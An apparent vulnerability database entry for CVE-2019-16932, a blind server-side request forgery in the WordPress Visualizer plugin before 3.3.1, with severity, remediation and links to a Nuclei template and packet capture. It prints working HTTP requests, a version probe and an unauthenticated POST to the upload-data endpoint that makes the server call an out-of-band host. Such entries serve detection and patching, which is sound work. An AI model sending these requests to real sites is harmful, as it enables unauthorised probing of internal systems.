| Title | Visualizer <3.3.1 - Blind Server-Side Request Forgery |
|---|---|
| Author | akincibor |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or data leakage. |
| Remediation | Update Visualizer plugin to version 3.3.1 or later to fix the SSRF vulnerability. |
| CVSS Score | 10 |
| EPSS Score | 0.82175 |
| CVE ID | CVE-2019-16932 |
| CWE ID | CWE-918 |
| Tags | cve cve2019 wp-plugin ssrf wordpress oast unauth wpscan intrusive themeisle xss vkev vuln |
Visualizer prior to 3.3.1 suffers from a blind server-side request forgery vulnerability via the /wp-json/visualizer/v1/upload-data endpoint.
GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Connection: close
Accept-Encoding: gzip
POST /wp-json/visualizer/v1/upload-data HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Content-Length: 66
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
{\"url\":\"http://d5jpc3ple0o3ul7vd78gh6rspq4kpwcs4.oast.online\"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16932.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-16932.pcap
N/AN/A